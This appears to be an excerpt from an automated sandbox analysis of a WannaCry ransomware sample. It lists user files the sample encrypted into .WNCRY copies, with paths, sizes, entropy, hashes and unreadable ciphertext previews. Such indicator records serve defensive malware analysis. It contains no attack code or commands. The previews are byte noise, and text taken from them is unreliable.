                                    SHA-512:890415715E15B51DAA05C5353E8F52E614643FF693E4609961C2614ECEF92CA929807801DC84708C1AA925EFC14E847D249DC16A8A6125C73498CE0404255263
                                    Malicious:false
                                    Preview:WANACRY!.....V...0..,.|...nK..o.*......X.5...\....w.\....2..../R.5_... /...@.9-....x;g.[..n..@.S....2j...V.......A*%..$........uD.....WjO.F`5....v.-'..&p.s..A.R.....y..9..O...f......yO..f.e.c/h.".....B....ThU.4%....[....-=k:...<.f..? .K|......q.'QB.p.X.B.....4......4.].......&.....@d=MRlk.}......^.D..];bXv....v.W7.E.a.V8...Y]j....B...T.......H..|(.bQ..!rA..O.C@.........!..c...].O`N.. ..Q.7..y..t!..k.z7.......&.......'..}..4..uXD.=.%.i..Y......I....p...h"...x.X.....1!:vMv.3.......|.S.9.Q-...Q..\.*._.X..y.Y.....[.$R+A'...A.eC....J..h....a...B.L.I...Z...5.l.C.......!K.d:..q....Z.G.....4.@R.0.S..b.'.rN"<..6..x.7>...=.t..4|.~.1.c.j3..}L...OY.B...if1.0....%[......4...5.i.......w..."..R..........S...GM>........:X.7.Dd*.E. @A."x.....8..d.\..........`Y..-.t..jH...........Z._'."......|......2M8..~.8.j{.........{.../.....DF*.9.hp\..'..#'/.||CbHsf.-....RN..Y.j3..U...w.h...n>I.....U....e@.V/.2.~PS.E....Y)*...<.g..v.f..r"w.....4.5..B.~

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\acrobat_sbx\acroNGLLog.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):30136
                                    Entropy (8bit):7.993699800053361
                                    Encrypted:true
                                    SSDEEP:384:AHNAk9lO5uX9WujrROxQMIRkqWgh6tm54794tvSQrN5bM2z+FqQ6T7ciargtQbZ+:AtAD8tOxlqWgPYoN5Iv8vaMKVCPiC9hN
                                    MD5:3A5ACBF40B7E848827790A7CE49D7D31
                                    SHA1:A3D13C3152F1E230B9554696779C7FE6B5671DB2
                                    SHA-256:E15F91338E7FDE33108239B6116F4CB9D0ECF3EA7695BC99D487DC24DBA12AED
                                    SHA-512:B62EE8D5F454BEF6904D388D52CEEAFFF7F2FF28B79EAAB68A6E596473A154EF1CFB517FCD14CCE210844A90E9D9BE9B1E508A9B5AE49E6CE6C62DF98EDDD458
                                    Malicious:true
                                    Preview:WANACRY!.....#.Q.M.K.k.... Ra)0.d..<...2d........|s......p..s..9T..n1v(x..oV...P.p.&...OQ.....5...?..y}#.....%P..DzH.-.6.F.".d!&....T..2./......;Y.t..^........P......4JA.......=.../.c.eX0....0J../C.@...Ri.nd.[/....5... \x..N.4>..X.4gb'.^.[%C8nK.fg@.<?b......t......i......Re.T;...g....>..G.1O\....5]...,..CJ._1..~..6l7x...[......ch.m.......-.*{?....N1]W....5.].=.TbG...0.?V.-=.605.R`d.^..H........}A..W......D%(..&.q"..s..x..t.E.E-._e...... K..L).)..p..-k.......k5....?C...1vR....\.ie..........e...L1....8..oq..]6....0E...;.gB.'B?....H.$..u"..._Yp.*L..NX.`.K...rE...d..V.....C.......P.O."..-....Q.H.".-0..)..sr*q[s....z...`.M.XnZ|...NJ&.....t.e..2..R....q...tp..EO.rL..5.N...8.!.....k..1w.....m9....@k..[u.-.0r.....NR.8 ...*..5..z.8.P5.n.f.....H...:[.o.n.@.H..>....6.e..(".fi..k7x....*[`m.....x.w?N.J....P.##...APL..}...6.....J_....@KQ....VH)..dT{:.I0..]v`...B...V.,tF....IhtT. Y....=.....U*.A..2.^l...[....)...I.M.;3:..R51,ba........_..$.8...k.S..<.-..D...

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):6856
                                    Entropy (8bit):7.971749780676008
                                    Encrypted:false
                                    SSDEEP:192:8Kz6fuOv3gFZ3/ZSSZMEQhbEz9PACjWFumwBDF1YOo8lWd0:V6lvQjP2EA3CCcm8F1YOoQWd0
                                    MD5:AE1EFA6BC43BCF239B2DCE0E1B6F2CFF
                                    SHA1:A5E1206DB3EBE9E402915D03E39BFB3D458C7C09
                                    SHA-256:83F29FEDECD43433FA36F206447EFADEDA438673231E5A702676237DCA98C5EF
                                    SHA-512:8441C7B02BCDF08625C085E763C5658C4C1E8ED5CDB8B82E5072B8D04223184402BC7590A0AD4F9930F34552DEC67E0B733054825BCF45AAF863827A0B5547F7
                                    Malicious:false
                                    Preview:WANACRY!......v.L..6].E/...4...........0..@........].@^.?>v.}e..m...h....8<K...(7.k..~W..+=...x...T..X+....n.J.E..n.....(......1.*...xqEF.9#6F...v...d9Sp.<...vqWv.+E..At*..#.g...,..D?....nf...L....3._..L. O..8.W.U&.......s..m..M.e...f(..C.6...U.....FQ.#.0................`...O.....S.'z..W...f..t...+.M.O-........t@..L ...L.c.6e..e.T.....N....O.b.a.*Q..5 ..k.o.._= 0[C:...]...y.U.rg............/......]...N.C..P.5..;...JJ;.r..>.=b_......fNE.q.V.R$p.i.p..`.!...Dp..8N[....v..E.Vp.....(.68..K.^...b.,a....D..K.>,h.Go{.<.;R...B..+.S..P...2......4.......(Wx..B..:3.N.C.=z.W4P]..r...e*)..M[..?S...RV.$..pv...G......|.P.5.Ay...X......~...wM.....c.}...)<..Kjq..2.-..n....Q{..9......E..............l....`.....Cy.........5...1..UXzfd?I._..F/D7.,.o.%Y.>...P7..I..s.#+.Y.^G...$.7z...3......d....z..a....i?.s..........Z'..9...=......{....v0......-..v.#H..<.e,./(......|.~.....}W.......^.nK..N.`8.P7..|.q...$b3.w;d.b.+.....H..ko...H...i.qK...s...b.V*.)D.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):80488
                                    Entropy (8bit):7.997925605741852
                                    Encrypted:true
                                    SSDEEP:1536:V4Z9dB8CaT+0ox9Df0S3+zVqC6m/rDS90TCjF4L7nLiP0KW/MqjSiW:V4jPu+lE56AS9teLiP09MqeiW
                                    MD5:CBDF048793A713E134E72680A39BA0C9
                                    SHA1:15358501877F9E94CCC96074CA14CCB14098F168
                                    SHA-256:778DDC1E5EDFCADDC9AD13F36E2A892C48950D2237D01315833B96080FB74466
                                    SHA-512:D6DEB189E622BAC861DBFB9908C116DDA2B94E8850695C5243D6DEC2F5B519462770ECE80BAAAA618F9C7DCCFB18DF5E54707671F59D24E5C4DA4244C07CE5D7
                                    Malicious:true
                                    Preview:WANACRY!....[.^.e..>.j 5\..(..W..V......5....@.^..~.#........q...W.:..-/.e.V...8..,.....e...q...t..W.s~.@G~ .....>.De9j[.D..8[..3K.lA.g...)g9|.Km.....Y.......$...8..].X...d.zV..w;^,...)w..h.X.iyc.|0J$...cjzt.7...u=.y~.aA./!%.....6b.K.h.Qu|..c.p...!..r......D9.............9..a`&.-..<-..IbA3..-VT..my..W.U]...]t.E.Q..R...t..Q.K=7f..%..>33.....r..+.....N+.v*...E.z}.p._.H_.z.X..Fg=.e..4...]..o..(.dV....c"1....8...2id;...S....?.k?c..OD.....L....M...xo./.k..>p,#...L11.9..(.k...Q[.7`.>..PUb.%..W.V.<.P.~..3..8.."..,.....,.>.6,X.N-...f....&.....).i..:...X..2.np.........M_#.....f..#.j...|..F....3%...f....J.el7.c..Q.jgU. lb.nD...E..8....W..=..(.-..vm.t.G.yvx.7.\M...D..W.Bf.ePsp8...A{..-p....m.........G.......ai.R.(.=..3.K.2..mZO....)....Gh.&D..+".|......J...Z....f.Wl........K..:.U...."@..9....=.B......@.<.&..v..7)....<.<...-.N..3A..H.v...'.C.o..s\.......or...*........V........{...`PP...P..n..kh.ZJ.8.1+...cm..$.YC....E....|..xJ...N........#.s?...Z.d+..

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\driver-signature.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):14632
                                    Entropy (8bit):7.987746830850883
                                    Encrypted:false
                                    SSDEEP:192:lJhoGIMNVsGtzycy1vuGjsSlQz5GLATLWpT6JrHtx34Ah6XZM0zEUgTniTCJb35:loQNntzxy1v7YEclRtJU3mniTCV5
                                    MD5:314CC8549D96D7405EE86787391E945F
                                    SHA1:D0B49DC6D5912B7EAFC75300264ABC148ACE2AD7
                                    SHA-256:CD7C2B6F5F7F1C3889B58D9F17C59CE3FEA7F7D17A34192FBA336F90819B358B
                                    SHA-512:0D7A162C2D6C7FF21A057CC519BF6C3BCF9455572432F70FF5D6325EC8FE6027E4FCBB811E6393BC4157960502A506FDFF63826A289D7ADD1C202CF2EE084C9B
                                    Malicious:false
                                    Preview:WANACRY!......|C.....RfK...\.L...Q..fe..2c;.m....#..>./...fveD.[G...r...J..E..i|}.:.@.O.....p.&...fh...5'..7`....T..z*.B$...V...`....9.Zm.L....+..Y.D.....V.O.Bv..UN.i....'............@.k2..Xu.8.f....X....f...,q..G/....'.O...(.6..t...d).......J.,r....)....S......8......;.iO.V]Z........}_Nf. ..?..L.%.<..s......C,.._....{z$.K..h)....ms.:....%d.c..Py...A{)6q3......Io......9...x.....8c=v.H..*.?;......G..X.u6..~.R..5....|....2.?...-.?A<M .e+...$s[.$..Q]<.#.......I\\...3...o(.vh..T.H2..}...Bht.J...R].....:q..:K.!....Y.t..Lz..W".$.s.e..m.....L3.y..o..T6.uK..2.Mw....?..L.....#.b.q.Vo......X!%_..p..(..9UI..C...D..9.X;.HR..+HIZ/.^.....#.Z.k...:.6.%.[u\...s......fVv..R+)..........wa....Xze.RAA.R.Y.$.G.....*.......S.V.}.N.T.....#vt.dg.|>.2..=...m...._B1.lD%.X.t.&.....M.9x..rN...c....,.-g.&L.i7P.R.....o.4...v.&h..L.S...H...Z.z6..Hh].....w..0..'.....b...@.whm..z....n7...Wk.q...I.}..<u..w-P.3IHR....8......G...*6Z..V....t.2!..Br`O B..._~I2....C.h.c...0...[.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.LICENSE.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2040
                                    Entropy (8bit):7.906687038034684
                                    Encrypted:false
                                    SSDEEP:48:bk8Ym14GyKLt6gxxr96XjrvY6MWSke2wiJX5e+w2/5iXU:oS4qLtff0gvdb2xL/
                                    MD5:DC8793C3096BE825EFCA3A4084C18B82
                                    SHA1:60869A5B7D9E405538E8442791DA586BD28B0F42
                                    SHA-256:A6DDF0AD3327DB1D9A0FB89784F0CE217CFA8302DE930C001020C24D866D4ACB
                                    SHA-512:7777A015165AB420452FA04EB390581AB059BA0072D2636D6FE37868010C47B009F56C59FB9F8B95E6DE74D3E499AC9E4D5C04EFF772FAB5510686C40EA6200E
                                    Malicious:false
                                    Preview:WANACRY!....a....}8.}.n.5...)#.P...{..}Lel..._...?0..^....7.E.z.H..KM..X..E`x...._A...R....<A....E...J.t.y.}2.a..p..u.E.?D....Z...z.5R.M3.<s....V..8P.>7...k..$..f..Xi.kI%77..i..<........2.8.@.....65.0-..so......u6v`.z.X.!!S..E)..._ .....6.z.-......%$...".^/(5e..................`.....~.zK..F.2.m.M...ABy..N.Z..YD..jt..}c..I[WI7....+(=k.......V.Y...O|..T..;3..b..Io....e. .!..Rk.n...|f.D..qu.Y...TY.'i.j...|..pj=u|d.....,..k....w/..<Z.....(....+8.u............b..!.......L.I Jid`f"5.....c.....e.V....)m$..lW..S...3.^2..?.&6..0.......Q..?5..{;.4.2@%......oP^...........'.4.$.F.].....L.e.......I..........Tg.....~X..8:....&..B.l..w.._.F.A.q'S.[]./s.v........`A...i....p_..F...../.)..K....]...`..9.[..k...C..".../......(RU...d|.a7...bEz....:..A....%...6.}..D...).."h.!.....cyDW1:6......$....8,....C.W{...9.{....2....~...z......q....(....3j!....?......$a..|A1.......T5N...I..)pc.J.{..Y.X..5.....@G.......D..>./`.kw}TD.,y..e..T..k~....Y......r..[...=S.B.:..[.Qq...lzF

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.LICENSE.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2920
                                    Entropy (8bit):7.931246503807352
                                    Encrypted:false
                                    SSDEEP:48:bka1c/bSOafLEK6+jK4BgOw39cdzAtX6nivVX0+5qkJlExFpis6cDp:oGc/bSOgYD+5q3WAtXvF/5h+D6Y
                                    MD5:CFC639F1731D4BBFEE89CA86BB736B9B
                                    SHA1:29D9A15C28C3C73D6BAB44B79A814B1387B9CB1F
                                    SHA-256:239ED07F33BFE0D6757D3E9DBFA36C6BE508780504E8F88D2F5AD234C4DBB8CB
                                    SHA-512:77D7380A2E5624B698ACA9F42AE16582A6502324C5BC95C4040DCF858C6E30B2FABE95D3D9BB31495EFE978E784D51B097EF5BDE0BD64586B5FC41D226DBE4D5
                                    Malicious:false
                                    Preview:WANACRY!.....j.Q5A...r-q...h.,.!A...v{y..FJ.f....f.%...N..u...,.^.6..owQ.6...t~n!/y.G.Sw...w$.....m.9Qj.4`..].zl.A.6.Q........z.l...k.wT.."...D....9z._".J(..|avm..e.\'....q...5.......D.8...UHwJJ).Cv.&;q..(.."Q...~Q.I...Bybmq?."Y...~.?oX..QI...!Y......~h....F........F.jX.=.M...4.6)I.}....b,p...@.......+Z+w../GG.....'.0tN....|.;VL....pi....w..6..4...9.4\jt...!..'.....N7.+k$..B(.+).5<.|N...........d..2.!.=....hY........p4Jaur)N..%.S.0.{U..A)l.u.w.... .v...kK)%....M.....1....FT...j(.6.......;[....D..PI.e/.#.w=0j.C.&{.$...$5..?...3^9.0n4...P,x..'.P<.....k.tGg..$.p...i.!m.(.}@..l$I7........(..J...ZL=...0..f.\.91...[....R..".b.^%.I.sO}.....LK.s....dY..O(..;,.|H.....$...K4g.=P.^.Z......{.7..%.p/R.0$.u..I.l.{.XJB....QP..hlkN.\]3}{.....t.0.c ..W..D?....;5..-..:6Qy.HT6.U8.~.c....!^...CQ...Y......-.c.I.......(..]..].l....;.g?._.9.....\m.....7x.....m.~n~...;7.Q......R.T....5=\W....E..<}H.........[.DsL.oe....G..LF\...I..>V..&.g...`.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):696888
                                    Entropy (8bit):7.999732041439105
                                    Encrypted:true
                                    SSDEEP:12288:byAGMxJ+C2fwTNCP/GTpO3FsiaMjln8oaFJ9xPC0GLBWcQoBsU96E8zCGcP:Fh72ITQGTpkarMjl8RJ9Y0HTZzs
                                    MD5:C6469E644D96902089D549079DBD9258
                                    SHA1:F60DC2AFD4574565968A9B0CE51B01328201CF88
                                    SHA-256:8D80814F3E25D34D6549489CA282EEEB721FFCF50B96DD6CC8AECDB5C89FE827
                                    SHA-512:F245A2B9C6FF80D42CD12B65D6FD5DB2A2D8874C3830B0464697E314C41D4C4A4FEB28BDFF9F7D363553FC7675D6FEB157DE8AD0351854343046B9B63DB4EC11
                                    Malicious:true
                                    Preview:WANACRY!.......Db}.|Z....8..c.........d..t!..yP._...O....9...A..n\s.q....O\.....U`.!..@....J@.]u...3._.....e..{..`.=...[.%.t.|....[....T.F..U..~".:..-..........7J.b.'.=...8?t..D\.>.Z-..>.7r...OW.iYuN...U....3..VD..Y.H.0.&.^y!....Y..?.(.......wh...t.z...6............X|:......P9N.d..+.....7.T2s.7..O...52Ng.|.B.}j{;Gh+/G8a$.VB......x=..U............0:...OV...!..&....B5....aF...$I.R...k]..[.......T..!;.u....k....F......GsS....+....m....:.j..i..f..D.z.yU.C.A..$..*.....h...W&.....tB.?.x..kO5...1.......-...|6la......}{./".3V.U.b]H.4o.V>.....u..$%......htw...c..1#$.>.'...'...u..n.Gl.7F...|....O.q...O....=8.e.8<. ..>..|.fj^*` ..6eg.m...x....9./.[..K.@>.8)..T..r...:..........,.........u..JWf......6.qN3h.x(.....Np...K......*".$....].db...K.$.Q.T6.`2wA7$.5.......D..Iq.....h.J........6f*.z".Rjd<..&g..M.a(....._......:....zA.G5.......O..wl~B.]..mt.p.._..{......U...l.'..R..P...HO..-3XHs6:4"Wa......-........eaL........v].0.........v|(..D.r.uR.`...m.)A...[.}..@..

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.LICENSE.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1608
                                    Entropy (8bit):7.879443756895058
                                    Encrypted:false
                                    SSDEEP:24:bk83d1tuytwCjEUCtIDuWM/mRjRM6XxB6BDrdGuKcvxYJjGII/w6g6LW9nHPtKp:bkGC/DgQ/mRN7B6B+k0pcWKp
                                    MD5:95E0BA20D8E8622EF7C3060A2FA2285B
                                    SHA1:71A28A015BDEE0F6D57CA9A53F4F194721450F2A
                                    SHA-256:7A7505E15F5E6DEF67EF3547A299A2AB9908960FF78ACA112B50E19D899B5E8E
                                    SHA-512:5C9904F54039A10073C06E8FBB3722CD5B690242055971BE26F3ADE3D9C5CE9075C9DF38060D4B5BDD929D2472F71F3B1042DDC8392D730D5757D042AE4F4710
                                    Malicious:false
                                    Preview:WANACRY!....a..ZV..Kt..~P.....X.....].=..M..Y.G.......{\W..t..c...H.1...l..&..T......|.G..N...]......D.>....O......,i.I..\.c..#...E...'P.....?.~:.LN..:..2..y...*.fv..^...v....2.A[>.P5......L.....'N..J..L...1...4....R.. w...H.o2k.B[1...E......).qY[h..0.. ......%........,.~.ud...5Q..O..F..q_..mXv..!...Y...@...SS!}H.4.pc.....h.:OT.1N&.......a...;.r.~.w.....(Ev..S.*...F.....)..X<]..m.|~.g.@.:.o......i.T.(..G5|]..I.sI..u.......1..N..;.5.T2>.......C......Vy\.u.......E.......L"..q...V.M...E.....zl}.'_:....MC.H...t.9@..T...[Z.....+.da.0e..dm...*@...B9F......[..XU..I4..t.H...l.k.....W}.....GR........r.^....].8....4.w.X.W.....Wu.~...l[......?Yn...F.L.~U....u0.n...a.^.P..}..n\..p.....#....^.c.-Q.....18..P.<..,....g8...I......._.[.....h.A/B.*..s...rP..y...X....48..6!.[.s.....mV..JR.#....y.....n....]Ez..d....[.......(p..BT.!..5.q3Lp.u..75..:.50..W..En.Yk...Q..2{...2...x.n......U....KQ.{.#:fM.-...i.Du.W.].;..YvD.E......;........Z.\e.M. ..n.x.B.".m

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1608
                                    Entropy (8bit):7.884195149651478
                                    Encrypted:false
                                    SSDEEP:24:bkUvMiUc85BRotMUcS3VLLEa83Ax4Oxe8SuASQbbShXyy4xSoaQoQrJwxkj9bv2M:bkUNUV5B6LB2AxPQPShi2o9lJ9bgY
                                    MD5:0C58A8AE3C2BF8B05FD4AE0F186DCF5A
                                    SHA1:B82BD328E53A10E633B98B5D373D0A9BABD8D40A
                                    SHA-256:522FA8E60DB5630623767A7422AD2AF1A2719A47C64BDE53C5A087EB3FCD36A0
                                    SHA-512:A60B14AC89CE8376AA04D54D96854DBDBC856D0440C9E8BD2469F2FACFBB2B1D63B60BBE1D9F7A210DD930E333C77FCAE1D87AF46A3A9CE3F675B9247E695EA8
                                    Malicious:false
                                    Preview:WANACRY!....,8Y...a...2?.C........7.).+...eW.`$..pzsg*......&.i5Y.K.k....K".z..e>..v.!/......Q....2.[r.:..}_....p.....,.......Im......6.V..C.y.B.....m>.r.".aV.(....5..).G.......^K....t...mH..AICn,.%...zM.b.n.RO.;..N.U.K....w..sZ.6*.S.0...5.".1.}..Q.x.gx....%.........c...U.B..xN.Baa...').....+..MW......p6...vs.q.+..Z'..}NL..'..$v7.....3.]O..\TM....%XX.L....j...Y...i.l...iY.p.|c.b..f...T..g..EF.L...n..=..uQ.y1)..+C.9..P..T[....Zvx.....).......#.....t..Y..1A..3.(.j/..A93../.sr'ZX8......rI.M.8.......P.`.Z...QI.k^z.n..4HN...jc.m.a.w.Q:@s.K./x.&..Pf.<..2A...<]t....6.F.$../....'....s...&Kk..X....U....m.Kf^......`.8.?..gP.O.x=....j...D.;.J@...<...n.-..p.....}..T...C...V)~..A..Q.C...$..O}. 6"....$dbH....a...=.....8.#... ...apH........D..<H.$..w,.~.}.......D."~ .A.:...}86...$.....1\o.1..a!#U..X/A........._m8.*d].<..m8Z....M..@....*..O...5<&e.:.......$H..:.qn...@A.]-.1wpj?..f.s.\.b..u.b....*...u...u.Uw89B.Oy.l#.G~d.G....HSoPR..zy[{.......

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2088
                                    Entropy (8bit):7.899683540934684
                                    Encrypted:false
                                    SSDEEP:48:bkxG/P7FldHALIDqNI5YG3ULZtWQHCtS6BVKdfPO6Qa1Jh7:oxyjHdgLcqNI5YG3ULL/CkggdXqa1j
                                    MD5:AB1F5F710D6E50F0CC05585810931ACC
                                    SHA1:B5465F8E99AAE0286B205E1C3C149476E42412D9
                                    SHA-256:8875DFAB59F8AD664D31E2B9FF04D44E4DC321BC3D5111B854F73CD9D0021577
                                    SHA-512:D8377C3C253BC1FD78274D04B10A6494196E208A286EC9F5FB9F822BECA844375F9EF79F69FAB4640E4DF44C14641ED867AA7A8D170E4911F0E8C66A99D9D94C
                                    Malicious:false
                                    Preview:WANACRY!....,.IH.Z?_.b\....=..o.....].]......YU.=.....T.~...p.'..{...,o.#Z.SP..k.*K4..hz....9\.sh........^p.?.....7.<..&...iL........E....~./.rU.i1..L......:..'.=..Cz.....j....'......I..m4F^.5....i`..m.:...........Ybk. ."R.h..O..1........Q..S"/R.q....J..`.................(;..[f..Ax?(;S:..,...l.......B.._.=4..}p})..I...J..R"...V...<a..!......Z.clF...{.......R.ms..n..[.t{Z.......L...C..C@(<.W`.G%.@.5...S4.{.:...&A.@..J..+..M.jLg3C.....a..3.49#..&..v.c.}..3....S.,.h.D.|.uz..}.K32.2.P.pbw.$...D...=.v.7.?.?,&HC_..eX9|......5.....C..rXj....Y.*`+.%..=.]4B-.D..M"@.i....O.......&.b"...r....F.E..._...g99.(%L=............].......8....qm8...]L........|....-.C...x..11.[RK._....P.G...... ..t.Q.`.......9.g?3|.q&..]".]Il.l-..)..6..V~.u]..A?.^..S.#n..W.....B.)Ll.s.y.....6...rB...d..!..).z.N9..c'.56K..Q.....=.N(...)-......W$....d{..6 .8...n..T..'g........bX.hA.....5...63......1h..g7...0...+.u..5W..J.2..5..u.:&.5$<...".kK.-._......j.b...*rg.R*#..W...[.K..._Q.~..

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\X98HJ34F\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):138488
                                    Entropy (8bit):7.998632857254041
                                    Encrypted:true
                                    SSDEEP:3072:WgN/jVll15oQuQ7byLCj2P6UA5xFXFX0NV7Q/O8n+hfOhTIZN/EGUFE4:WgNbVvo47bYCyP6UEZQk/O8n+hfOERuj
                                    MD5:B5C7E28AE19FAAD77D10DEDD5CAE4549
                                    SHA1:51EC0E7E75C519C5EAA0998A3880873E7D540CFB
                                    SHA-256:9AC8AA7533DA251A37F9004F1D18FB8C8687E514B277F2ABAEE6F7C9143720CC
                                    SHA-512:674436FF9011B15918583D4F8D8F8F9223E6043D7AACEAF22A4831A07785169155581051A0FC60526372E913F834434A2F2F8BCF4A0A83EA5E6F4A4E46CB0248
                                    Malicious:true
                                    Preview:WANACRY!.....0Z.. .....q(.A..;......($...\.v{8......|...g..!.(.SF...g....8P.a.p.=...[.F..b.V..... .dq....fO.....{..dM.r....W7.v...X.Z.X..B(...<.w<Q.C.U.W....t.U......G.>^F.H8..^.".#.&0A.....z./j@......U[.v..{..oI...P`Q.A.E.......5.q.+.*]`p...Ni*. mw{.............e`.7L..*...@......!..TW.".E........Z.!.mc.A.z..e:s.3xe"G......E......c....u...O!...w.~@.]#2.........$u....:....n..Y.....]....t.'l......3..nz.r...d.....#.)$..w..f.2a...M..4.....#.gt.*..6...%..f.x..7.....].w)Dw.P./.K"...."Z...k;W..4.{p..)..O"...h...].L.F.p...X./M.f.....#..`!."....#<.....B..F.|.!.N]:7...0=.h....5X...f<..?..4..z...u...`.Dd1..39:v.C.|?;...4V!{A...U.*.......=....t.t.4YnuP...8....X"..:..".".C!....d..V=9.}..d.=..d.e..[vb..]..'.....H..........h$...U.}........3..E.Wd..0.r.uY.H.7....:N .x.^..d.>..#...}e_..\N.5..Mfw"O.Y......e..O..P.....h..<....F.I......J.....0.M>a..y| ....ui...^.k..K..a(.^..<.._#..%..L).uq.G~./...]I4l.......vo.>w.g....].R...aD...<.v.1...a.xMFmPh..UR.C...

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652260521575.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):102760
                                    Entropy (8bit):7.998317189780211
                                    Encrypted:true
                                    SSDEEP:3072:uM9O9XiqDkYoMyloOtsqpwBC6HCPF+W2G7jjd0mpB3Wj:uM9pqDkYo/o6srC6Hm26jjdxBGj
                                    MD5:80B86DD793FA09809E2BDCC25834AADF
                                    SHA1:728D21B959EDD467B7C67E163A92A6B22BA0D3C3
                                    SHA-256:E008B7FC9BD24F851C163DA2FFD1973A17B2CE9B3847C1D8EB1CA42F5B8188B4
                                    SHA-512:A0F52D45895EA1BD05AECE8186E0AA252FF32C5788C012C8045421EEC8068DCCCBB687295C3BC02BB76C469A893BB606BDBECC026A245BEAF6CF54160D6D0E4E
                                    Malicious:true
